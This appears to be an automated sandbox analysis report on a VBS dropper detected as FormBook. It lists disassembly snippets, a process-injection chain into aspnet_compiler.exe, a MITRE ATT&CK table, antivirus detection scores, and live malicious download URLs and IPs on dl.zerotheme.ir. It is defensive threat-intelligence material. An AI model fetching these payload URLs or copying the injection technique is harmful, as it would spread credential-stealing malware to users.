          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01350887 mov eax, dword ptr fs:[00000030h]4_2_01350887
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0138C8F9 mov eax, dword ptr fs:[00000030h]4_2_0138C8F9
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0138C8F9 mov eax, dword ptr fs:[00000030h]4_2_0138C8F9
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0137E8C0 mov eax, dword ptr fs:[00000030h]4_2_0137E8C0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0141AB40 mov eax, dword ptr fs:[00000030h]4_2_0141AB40
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0137EB20 mov eax, dword ptr fs:[00000030h]4_2_0137EB20
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0137EB20 mov eax, dword ptr fs:[00000030h]4_2_0137EB20
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013CEB1D mov eax, dword ptr fs:[00000030h]4_2_013CEB1D
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013CEB1D mov eax, dword ptr fs:[00000030h]4_2_013CEB1D
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013CEB1D mov eax, dword ptr fs:[00000030h]4_2_013CEB1D
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013CEB1D mov eax, dword ptr fs:[00000030h]4_2_013CEB1D
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013CEB1D mov eax, dword ptr fs:[00000030h]4_2_013CEB1D
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013CEB1D mov eax, dword ptr fs:[00000030h]4_2_013CEB1D
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013CEB1D mov eax, dword ptr fs:[00000030h]4_2_013CEB1D
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013CEB1D mov eax, dword ptr fs:[00000030h]4_2_013CEB1D
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013CEB1D mov eax, dword ptr fs:[00000030h]4_2_013CEB1D
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0134CB7E mov eax, dword ptr fs:[00000030h]4_2_0134CB7E
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01418B28 mov eax, dword ptr fs:[00000030h]4_2_01418B28
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01418B28 mov eax, dword ptr fs:[00000030h]4_2_01418B28
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013F8B42 mov eax, dword ptr fs:[00000030h]4_2_013F8B42
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013E6B40 mov eax, dword ptr fs:[00000030h]4_2_013E6B40
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013E6B40 mov eax, dword ptr fs:[00000030h]4_2_013E6B40
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01360BBE mov eax, dword ptr fs:[00000030h]4_2_01360BBE
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01360BBE mov eax, dword ptr fs:[00000030h]4_2_01360BBE
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01358BF0 mov eax, dword ptr fs:[00000030h]4_2_01358BF0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01358BF0 mov eax, dword ptr fs:[00000030h]4_2_01358BF0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01358BF0 mov eax, dword ptr fs:[00000030h]4_2_01358BF0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0137EBFC mov eax, dword ptr fs:[00000030h]4_2_0137EBFC
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013DCBF0 mov eax, dword ptr fs:[00000030h]4_2_013DCBF0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013FEBD0 mov eax, dword ptr fs:[00000030h]4_2_013FEBD0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01350BCD mov eax, dword ptr fs:[00000030h]4_2_01350BCD
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01350BCD mov eax, dword ptr fs:[00000030h]4_2_01350BCD
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01350BCD mov eax, dword ptr fs:[00000030h]4_2_01350BCD
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01370BCB mov eax, dword ptr fs:[00000030h]4_2_01370BCB
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01370BCB mov eax, dword ptr fs:[00000030h]4_2_01370BCB
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01370BCB mov eax, dword ptr fs:[00000030h]4_2_01370BCB
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0138CA38 mov eax, dword ptr fs:[00000030h]4_2_0138CA38
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01374A35 mov eax, dword ptr fs:[00000030h]4_2_01374A35
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01374A35 mov eax, dword ptr fs:[00000030h]4_2_01374A35
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0137EA2E mov eax, dword ptr fs:[00000030h]4_2_0137EA2E
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0138CA24 mov eax, dword ptr fs:[00000030h]4_2_0138CA24
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013DCA11 mov eax, dword ptr fs:[00000030h]4_2_013DCA11
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013CCA72 mov eax, dword ptr fs:[00000030h]4_2_013CCA72
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013CCA72 mov eax, dword ptr fs:[00000030h]4_2_013CCA72
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0138CA6F mov eax, dword ptr fs:[00000030h]4_2_0138CA6F
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0138CA6F mov eax, dword ptr fs:[00000030h]4_2_0138CA6F
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0138CA6F mov eax, dword ptr fs:[00000030h]4_2_0138CA6F
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01356A50 mov eax, dword ptr fs:[00000030h]4_2_01356A50
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01356A50 mov eax, dword ptr fs:[00000030h]4_2_01356A50
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01356A50 mov eax, dword ptr fs:[00000030h]4_2_01356A50
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01356A50 mov eax, dword ptr fs:[00000030h]4_2_01356A50
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01356A50 mov eax, dword ptr fs:[00000030h]4_2_01356A50
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01356A50 mov eax, dword ptr fs:[00000030h]4_2_01356A50
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01356A50 mov eax, dword ptr fs:[00000030h]4_2_01356A50
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01360A5B mov eax, dword ptr fs:[00000030h]4_2_01360A5B
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01360A5B mov eax, dword ptr fs:[00000030h]4_2_01360A5B
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01358AA0 mov eax, dword ptr fs:[00000030h]4_2_01358AA0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01358AA0 mov eax, dword ptr fs:[00000030h]4_2_01358AA0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013A6AA4 mov eax, dword ptr fs:[00000030h]4_2_013A6AA4
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01388A90 mov edx, dword ptr fs:[00000030h]4_2_01388A90
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0135EA80 mov eax, dword ptr fs:[00000030h]4_2_0135EA80
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0135EA80 mov eax, dword ptr fs:[00000030h]4_2_0135EA80
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0135EA80 mov eax, dword ptr fs:[00000030h]4_2_0135EA80
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0135EA80 mov eax, dword ptr fs:[00000030h]4_2_0135EA80
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0135EA80 mov eax, dword ptr fs:[00000030h]4_2_0135EA80
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0135EA80 mov eax, dword ptr fs:[00000030h]4_2_0135EA80
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0135EA80 mov eax, dword ptr fs:[00000030h]4_2_0135EA80
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0135EA80 mov eax, dword ptr fs:[00000030h]4_2_0135EA80
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0135EA80 mov eax, dword ptr fs:[00000030h]4_2_0135EA80
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01424A80 mov eax, dword ptr fs:[00000030h]4_2_01424A80
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0138AAEE mov eax, dword ptr fs:[00000030h]4_2_0138AAEE
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0138AAEE mov eax, dword ptr fs:[00000030h]4_2_0138AAEE
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01350AD0 mov eax, dword ptr fs:[00000030h]4_2_01350AD0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01384AD0 mov eax, dword ptr fs:[00000030h]4_2_01384AD0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01384AD0 mov eax, dword ptr fs:[00000030h]4_2_01384AD0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013A6ACC mov eax, dword ptr fs:[00000030h]4_2_013A6ACC
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013A6ACC mov eax, dword ptr fs:[00000030h]4_2_013A6ACC
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013A6ACC mov eax, dword ptr fs:[00000030h]4_2_013A6ACC
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D8D20 mov eax, dword ptr fs:[00000030h]4_2_013D8D20
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01346D10 mov eax, dword ptr fs:[00000030h]4_2_01346D10
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01346D10 mov eax, dword ptr fs:[00000030h]4_2_01346D10
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01346D10 mov eax, dword ptr fs:[00000030h]4_2_01346D10
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01384D1D mov eax, dword ptr fs:[00000030h]4_2_01384D1D
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0136AD00 mov eax, dword ptr fs:[00000030h]4_2_0136AD00
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0136AD00 mov eax, dword ptr fs:[00000030h]4_2_0136AD00
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0136AD00 mov eax, dword ptr fs:[00000030h]4_2_0136AD00
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01408D10 mov eax, dword ptr fs:[00000030h]4_2_01408D10
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01408D10 mov eax, dword ptr fs:[00000030h]4_2_01408D10
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013E8D6B mov eax, dword ptr fs:[00000030h]4_2_013E8D6B
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01358D59 mov eax, dword ptr fs:[00000030h]4_2_01358D59
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01358D59 mov eax, dword ptr fs:[00000030h]4_2_01358D59
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01358D59 mov eax, dword ptr fs:[00000030h]4_2_01358D59
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01358D59 mov eax, dword ptr fs:[00000030h]4_2_01358D59
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01358D59 mov eax, dword ptr fs:[00000030h]4_2_01358D59
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01350D59 mov eax, dword ptr fs:[00000030h]4_2_01350D59
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01350D59 mov eax, dword ptr fs:[00000030h]4_2_01350D59
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01350D59 mov eax, dword ptr fs:[00000030h]4_2_01350D59
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01378DBF mov eax, dword ptr fs:[00000030h]4_2_01378DBF
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01378DBF mov eax, dword ptr fs:[00000030h]4_2_01378DBF
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0138CDB1 mov ecx, dword ptr fs:[00000030h]4_2_0138CDB1
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0138CDB1 mov eax, dword ptr fs:[00000030h]4_2_0138CDB1
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0138CDB1 mov eax, dword ptr fs:[00000030h]4_2_0138CDB1
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01386DA0 mov eax, dword ptr fs:[00000030h]4_2_01386DA0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01346DF6 mov eax, dword ptr fs:[00000030h]4_2_01346DF6
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0137CDF0 mov eax, dword ptr fs:[00000030h]4_2_0137CDF0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0137CDF0 mov ecx, dword ptr fs:[00000030h]4_2_0137CDF0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0135ADE0 mov eax, dword ptr fs:[00000030h]4_2_0135ADE0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0135ADE0 mov eax, dword ptr fs:[00000030h]4_2_0135ADE0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0135ADE0 mov eax, dword ptr fs:[00000030h]4_2_0135ADE0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0135ADE0 mov eax, dword ptr fs:[00000030h]4_2_0135ADE0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0135ADE0 mov eax, dword ptr fs:[00000030h]4_2_0135ADE0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0135ADE0 mov eax, dword ptr fs:[00000030h]4_2_0135ADE0
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01370DE1 mov eax, dword ptr fs:[00000030h]4_2_01370DE1
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0134CDEA mov eax, dword ptr fs:[00000030h]4_2_0134CDEA
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0134CDEA mov eax, dword ptr fs:[00000030h]4_2_0134CDEA
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0137EDD3 mov eax, dword ptr fs:[00000030h]4_2_0137EDD3
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0137EDD3 mov eax, dword ptr fs:[00000030h]4_2_0137EDD3
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D4DD7 mov eax, dword ptr fs:[00000030h]4_2_013D4DD7
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D4DD7 mov eax, dword ptr fs:[00000030h]4_2_013D4DD7
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01418DAE mov eax, dword ptr fs:[00000030h]4_2_01418DAE
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01418DAE mov eax, dword ptr fs:[00000030h]4_2_01418DAE
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01424DAD mov eax, dword ptr fs:[00000030h]4_2_01424DAD
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_0134EC20 mov eax, dword ptr fs:[00000030h]4_2_0134EC20
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013ECC20 mov eax, dword ptr fs:[00000030h]4_2_013ECC20
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013ECC20 mov eax, dword ptr fs:[00000030h]4_2_013ECC20
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_013D4C0F mov eax, dword ptr fs:[00000030h]4_2_013D4C0F
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01360C00 mov eax, dword ptr fs:[00000030h]4_2_01360C00
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeCode function: 4_2_01360C00 mov eax, dword ptr fs:[00000030h]4_2_01360C00
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeMemory allocated: page read and write | page guardJump to behavior

          HIPS / PFW / Operating System Protection Evasion

          barindex
          Benign windows process drops PE files
          Source: C:\Windows\System32\wscript.exeFile created: temp_exec.exe.0.drJump to dropped file
          Allocates memory in foreign processes
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeMemory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000 protect: page execute and read and writeJump to behavior
          Injects a PE file into a foreign processes
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000 value starts with: 4D5AJump to behavior
          Writes to foreign memory regions
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 401000Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 9D0008Jump to behavior
          Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Local\Temp\temp_exec.exe "C:\Users\user\AppData\Local\Temp\temp_exec.exe" Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"Jump to behavior
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"Jump to behavior
          Source: temp_exec.exe, 00000002.00000002.2093264557.0000000002EE3000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Progmant-jq
          Source: temp_exec.exe, 00000002.00000002.2093264557.0000000002EE3000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Shell_TrayWnd
          Source: temp_exec.exe, 00000002.00000002.2093264557.0000000002EE3000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Shell_TrayWndt-jq
          Source: temp_exec.exe, 00000002.00000002.2093264557.0000000002EE3000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Progman
          Source: C:\Users\user\AppData\Local\Temp\temp_exec.exeQueries volume information: C:\Users\user\AppData\Local\Temp\temp_exec.exe VolumeInformationJump to behavior
          Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

          Stealing of Sensitive Information

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 4.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 4.2.aspnet_compiler.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000004.00000002.2136321349.0000000000E30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.2136079152.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

          Remote Access Functionality

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 4.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 4.2.aspnet_compiler.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000004.00000002.2136321349.0000000000E30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.2136079152.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

          Mitre Att&ck Matrix

          ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
          Gather Victim Identity Information221
          Scripting          		Valid Accounts1
          Exploitation for Client Execution          		221
          Scripting          		312
          Process Injection          		1
          Disable or Modify Tools          		OS Credential Dumping221
          Security Software Discovery          		Remote Services11
          Archive Collected Data          		11
          Encrypted Channel          		Exfiltration Over Other Network MediumAbuse Accessibility Features
          CredentialsDomainsDefault AccountsScheduled Task/Job1
          DLL Side-Loading          		1
          DLL Side-Loading          		41
          Virtualization/Sandbox Evasion          		LSASS Memory2
          Process Discovery          		Remote Desktop ProtocolData from Removable Media1
          Ingress Tool Transfer          		Exfiltration Over BluetoothNetwork Denial of Service
          Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)312
          Process Injection          		Security Account Manager41
          Virtualization/Sandbox Evasion          		SMB/Windows Admin SharesData from Network Shared Drive2
          Non-Application Layer Protocol          		Automated ExfiltrationData Encrypted for Impact
          Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook11
          Deobfuscate/Decode Files or Information          		NTDS1
          Application Window Discovery          		Distributed Component Object ModelInput Capture3
          Application Layer Protocol          		Traffic DuplicationData Destruction
          Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script4
          Obfuscated Files or Information          		LSA Secrets1
          File and Directory Discovery          		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
          Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
          DLL Side-Loading          		Cached Domain Credentials12
          System Information Discovery          		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop

          Behavior Graph

          Hide Legend

          Legend:

          • Process
          • Signature
          • Created File
          • DNS/IP Info
          • Is Dropped
          • Is Windows Process
          • Number of created Registry Values
          • Number of created Files
          • Visual Basic
          • Delphi
          • Java
          • .Net C# or VB.NET
          • C, C++ or other language
          • Is malicious
          • Internet

          Screenshots

          Thumbnails

          This section contains all screenshots as thumbnails, including those not shown in the slideshow.


          windows-stand

          Antivirus, Machine Learning and Genetic Malware Detection

          Initial Sample

          SourceDetectionScannerLabelLink
          QT2Q1292300924.vbs16%VirustotalBrowse
          QT2Q1292300924.vbs11%ReversingLabsScript-WScript.Trojan.Sonbokli

          Dropped Files

          SourceDetectionScannerLabelLink
          C:\Users\user\AppData\Local\Temp\temp_exec.exe100%AviraHEUR/AGEN.1337357
          C:\Users\user\AppData\Local\Temp\temp_exec.exe100%Joe Sandbox ML
          C:\Users\user\AppData\Local\Temp\temp_exec.exe21%VirustotalBrowse

          Unpacked PE Files

          ⊘No Antivirus matches

          Domains

          SourceDetectionScannerLabelLink
          bg.microsoft.map.fastly.net0%VirustotalBrowse
          dl.zerotheme.ir10%VirustotalBrowse
          fp2e7a.wpc.phicdn.net0%VirustotalBrowse

          URLs

          SourceDetectionScannerLabelLink
          http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name0%URL Reputationsafe
          https://dl.zerotheme.ir/kokorila/cgl-bin/bina.exe10%VirustotalBrowse
          http://dl.zerotheme.ir10%VirustotalBrowse
          https://dl.zerotheme.ir/kokorila/cgl-bin/DLLL.dll1%VirustotalBrowse
          https://dl.zerotheme.ir0%VirustotalBrowse
          https://dl.zerotheme.ir/kokorila/cgl-bin/bina.exebhttps://dl.zerotheme.ir/kokorila/cgl-bin/DLLL.dll9%VirustotalBrowse

          Domains and IPs

          Contacted Domains

          NameIPActiveMaliciousAntivirus DetectionReputation
          bg.microsoft.map.fastly.net
          		199.232.210.172
          		truefalseunknown
          dl.zerotheme.ir
          		185.18.213.20
          		truefalseunknown
